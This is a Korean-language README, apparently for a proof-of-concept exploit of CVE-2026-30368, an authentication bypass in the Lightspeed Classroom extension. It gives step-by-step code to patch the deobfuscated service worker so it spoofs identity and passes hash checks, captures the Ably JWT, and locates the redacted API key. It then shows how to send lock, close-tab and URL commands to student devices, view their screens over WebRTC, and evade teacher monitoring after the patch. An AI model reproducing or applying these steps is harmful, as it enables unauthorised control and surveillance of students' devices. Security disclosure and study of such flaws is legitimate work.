
CVE-2026-30368에 대한 개념 증명 익스플로잇으로, Lightspeed Classroom의 인증 우회를 시연하여 Ably 채널을 통해 학생 기기를 제어합니다.
[!IMPORTANT]
이 취약점은 패치되었으며 이제 자격 증명이 필요합니다. 해결 방법을 사용하여 자신에게 작업을 수행하세요.
CVE-2026-30368은 Lightspeed Classroom 관리의 약한 인증 결함을 통해 공격자가 학생 기기를 제어할 수 있게 합니다. POC(poc.js)는 LS Classroom 확장 프로그램의 서비스 워커를 전역 컨텍스트에서 실행합니다. 워커는 일부 기능을 위해 classroom.wasm도 실행합니다. wasm-loader.js는 워커를 로드하고 classroom.wasm이 생성한 JWT 토큰을 추출합니다. 토큰이 추출되면 워커를 종료한 다음 토큰을 Lightspeed API에 보내 대상의 Ably 채널에 연결하는 데 사용되는 토큰을 받습니다. 거기서부터 공격자는 학생 기기에 명령을 보낼 수 있습니다. 명령 목록과 더 많은 정보는 여기에 있는 전체 분석 문서에 있습니다.
이 파일들은 이 저장소에 포함할 수 없습니다. 그 이유는:
문제를 피하려면 버전 5.1.2.1763770643을 사용하는 것이 좋습니다. 최신 버전을 적용하는 데 도움이 필요하면 스스로 해결해야 합니다.
worker.js와 classroom.wasm 파일은 Lightspeed 확장 프로그램 소스 코드에서 얻을 수 있습니다. 개인 기기의 Chrome에서 학교 계정으로 로그인한 다음 Chrome 프로필 디렉토리의 확장 프로그램 폴더에서 확장 프로그램 소스를 추출하여 얻을 수 있습니다. 업데이트 URL을 통해 crx를 수동으로 다운로드할 수도 있습니다.
이 익스플로잇의 더 쉬운 방법은 먼저 확장 프로그램 소스 코드에서 classroom.wasm을 얻은 다음 wasm-only.js와 같은 디렉토리에 붙여넣고 다음을 실행하는 것입니다:
$ node wasm-only.js
프롬프트가 표시되면 이메일과 고객 ID를 입력하세요. 그러면 Ably 채널에 연결됩니다. 815행으로 이동하여 메시지를 보내려는 항목의 주석을 해제하세요. 크레딧: ktibow on discord
파일을 확보했으면 복제된 저장소 디렉토리에 추가하기만 하면 됩니다. wasm-loader.js의 getManifest() 함수로 이동하여 확장 프로그램 매니페스트를 붙여넣어야 합니다. 또한 wasm-loader.js 상단에 확장 프로그램 ID를 추가해야 합니다.
worker.js의 사본을 원하는 파일 이름으로 만드세요. 나중에 필요합니다. 필요한 수정을 수행하려면 worker.js를 webcrack을 통해 실행하여 난독화 해제 및 축소 해제를 해야 합니다. 이 작업을 수행할 때 "Deobfuscate" 및 "Unminify" 옵션만 선택해야 합니다. 결과를 편집기에 다시 붙여넣기 전에 모든 LSP 서버를 끄는 것이 좋습니다. LSP 서버는 임의의 변수를 제거하여 후속 단계에서 워커가 손상될 수 있기 때문입니다(vtsls를 보고 있습니다...).
서비스 워커는 node.js에서 실행되므로(설치되어 있는지 확인하세요) 제대로 실행되려면 일부 패치가 필요합니다. JWT 추출 로직도 추가해야 합니다. worker.js 맨 위에 다음 2개의 함수를 추가하세요:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
이 함수들은 wasm go 런타임을 수정하여 LS classroom wasm이 사용하는 값을 가로채고 수정할 때 사용됩니다.
YOUR_EXTENSION_ID를 확장 프로그램 ID로 바꾸고 worker_copy.js를 이전에 만든 원본 worker.js 사본의 파일 이름으로 바꾸세요.
다음으로 기본 화살표 함수 내부((() => { 뒤)에 이 2개의 함수를 추가하세요:
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
다음으로 캠퍼스 네트워크 외부에서 이 기능을 실행할 수 있도록 IsClassroomActive를 true로 하드코딩해야 합니다. 함수가 항상 true를 반환하도록 변경하기만 하면 됩니다:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
그런 다음 수정해야 하는 valueCall 함수를 찾으려면 syscall/js.valueCall을 검색하세요. 이 함수는 wasm에 JS 값을 알려줍니다. 이 함수를 수정하여 가로채고 변경되는 2개의 값은 worker.js의 경로(해시 검사를 통과하도록 워커 사본으로 변경됨)와 chrome.identity.getProfileUserInfo.toString의 값(파일 상단에서 수정되었음에도 wasm이 신뢰할 수 있다고 믿도록 native code로 변경됨)입니다. 이렇게 하려면 상단에서 정의한 valueCallBefore 및 valueCallAfter 함수를 사용해야 합니다. valueCall 함수를 다음과 같이 수정하세요(변수 이름은 다를 수 있지만 구조는 동일합니다):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
거의 끝났습니다. 마지막으로 JWT를 캡처하는 코드를 추가해야 합니다. echoMessages: false를 검색하면 Ably로 전송되는 헤더 목록이 포함된 변수를 찾을 수 있습니다. 바로 아래에 다음 줄을 추가하세요(변수 이름은 정확하지 않을 가능성이 높으며 authHeaders에서 ablyJwt에 접근하는 동일한 줄을 찾을 수 있습니다):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
이렇게 하면 JWT가 전역 범위의 변수에 할당되어 wasm-loader.js(서비스 워커를 실행하는 "하네스")가 접근할 수 있습니다. 이로써 워커 수정이 끝납니다. 모든 LSP가 여전히 꺼져 있는지 확인하세요. 다시 켜진 경우 나중에 정의되지 않은 변수 문제가 발생할 수 있습니다.
poc.js 파일로 이동하세요. 상단에 테스트하려는 계정(가급적 자신의 계정)의 이메일과 고객 ID를 추가하세요. 자신의 것이 아닌 고객 ID를 사용하면 해당 고객 ID에 해당하는 올바른 worker.js 및 classroom.wasm 파일이 있어야 하므로 오류가 발생합니다.
poc.js의 Ably API 키는 법적 이유로 삭제되었으므로 직접 찾아야 합니다. worker.js에서 찾아보세요. G52로 시작합니다. 고객 ID도 같은 위치에서 찾을 수 있습니다. CUSTOMER_ID:를 검색하거나 XX-XXXX-XXXX 형식의 문자열을 찾으세요. 마지막 3자리는 일반적으로 000입니다.
사용자 에이전트에 관해서는 원하는 대로 설정할 수 있지만 AWS는 자동화 도구와 관련된 특정 UA를 차단할 수 있습니다.
이 모든 작업을 완료했으면 하단으로 이동하여 publish를 사용하여 사용자의 Ably 채널에 보낼 메시지를 추가할 수 있습니다. 메시지에는 lock, closeTab, url 등이 포함될 수 있습니다.
Lightspeed가 사용하는 전체 Ably 메시지 목록은 여기에 있습니다.
node.js, deno 또는 다른 런타임으로 파일을 실행하세요. Bun은 작동하지 않습니다.
$ node poc.js
POC를 확장하여 CLI 등으로 만들어도 좋습니다.
Lightspeed Classroom의 WebRTC(화면 보기) 기능을 작동시키는 방법이 궁금한 사람이 있다면, 가능하지만 까다롭습니다. 작동하려면 다음 조건을 충족해야 합니다:
이미 클라이언트의 Ably 채널에 연결되어 있다고 가정하면 다음을 사용하여 WebRTC 연결을 시작할 수 있습니다:
channel.publish('request_rtc', {
sessionId: sessId,
role: 'viewer',
want: ['video']
});
// rtc 설정
const pc = new RTCPeerConnection();
const pendingIce = [];
pc.onicecandidate = (event) => {
if (event.candidate?.candidate) {
channel.publish('answer_rtc_ice', {
sessionId: sessId,
ice: event.candidate
});
}
};
channel.subscribe(async (msg) => {
if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
for (const ice of pendingIce) await pc.addIceCandidate(ice);
pendingIce.length = 0;
const answer = await pc.createAnswer();
await pc.setLocalDescription(answer);
channel.publish('answer_rtc', { sessionId: sessId, answer });
}
if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
const ice = msg.data.ice;
if (!ice?.candidate) return;
if (pc.remoteDescription) await pc.addIceCandidate(ice);
else pendingIce.push(ice);
}
});
비디오를 보는 방법은 직접 알아내야 합니다(약간의 HTML 지식과 약간의 구글링/AI로 가능할 것입니다). 위 코드는 연결을 설정합니다. 불행히도 스트림은 1 FPS이지만 이는 LS Classroom 자체의 한계입니다.
다시 말하지만, 너무 까다로워서 항상 작동한다고 보장할 수는 없지만, 일관되게 작동하게 만들면 알려주세요!
pnpm i를 실행하고 classroom.wasm을 저장소 루트에 배치한 다음 pnpm dev를 실행하여 웹 뷰어를 시작하세요.
[!IMPORTANT]
이 섹션은 자격 증명과 개인 기기가 필요합니다
4월 23일에 Lightspeed는 이 CVE에 대한 수정 사항을 배포하기 시작했습니다. Classroom에 신원 확인을 위한 Google OAuth 토큰을 제공하는 새 확장 프로그램인 Lightspeed Identity Agent(내부 코드명: LS One)를 추가했습니다. 이 해결 방법을 사용하면 자신 또는 자격 증명을 보유한 다른 사람에게 작업을 수행할 수 있습니다. Linux에서만 테스트되었습니다.
먼저 안정적인 Google Chrome을 설치하고 학교 계정으로 로그인하세요. Lightspeed Identity Agent 확장 프로그램이 설치되어 있는지 확인하세요. Chrome을 닫으세요. 다음으로 Chrome 사용자 데이터 디렉토리를 임시 위치에 복사하세요. 예를 들어 Linux에서: cp -r ~/.config/google-chrome /tmp/chromedata. classroom.wasm 파일을 저장소 디렉토리에 배치하세요. oauth-poc.js 상단의 값을 채우세요. 터미널을 여세요(나중에 사용하지만 지금 여세요). 다음 명령줄 플래그로 Chrome을 다시 시작하세요:
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata
이렇게 하면 원격 디버깅이 활성화됩니다. 서비스 워커가 초기화될 때까지 15초를 기다리세요. oauth-poc.js를 실행하세요:
$ node oauth-poc.js
LS One 확장 프로그램을 찾을 수 없다는 메시지를 받았다면 Chrome 실행 후 15초를 기다리지 않았거나, 너무 오래 기다려 서비스 워커가 절전 모드로 전환되었거나, oauth-poc.js 상단에 확장 프로그램 ID를 입력하지 않은 것입니다.
Ably에 연결하는 동안 403 오류가 발생하면 올바른 classroom.wasm과 올바른 이메일이 있는지 확인하고 학교 IP로 이동해 보세요.
오류가 없었다면 축하합니다! 스크립트를 계속 실행하기만 하면 교사에 의한 잠금, 탭 닫기, 화면 보기(실험적)로부터 면역이 됩니다.
이 POC를 파괴적인 목적으로 사용하지 마세요. 저는 여러분이 저지를 수 있는 어떤 장난에도 책임을 지지 않습니다. 아시다시피 Lightspeed는 이 문제를 3개월 동안 방치해 왔으며, 저는 일주일(또는 그 이상?) 안에 수정이 나올 것이라고 기대하지 않습니다. 바라건대 이것이 그들이 상황의 실제 심각성을 이해하고 더 빨리 수정하도록 만들기를 바랍니다. 마지막으로, 학교 IT 담당자라면 이 내용을 상사에게 전달하세요 🙂
♥️, truekas 4.22.2026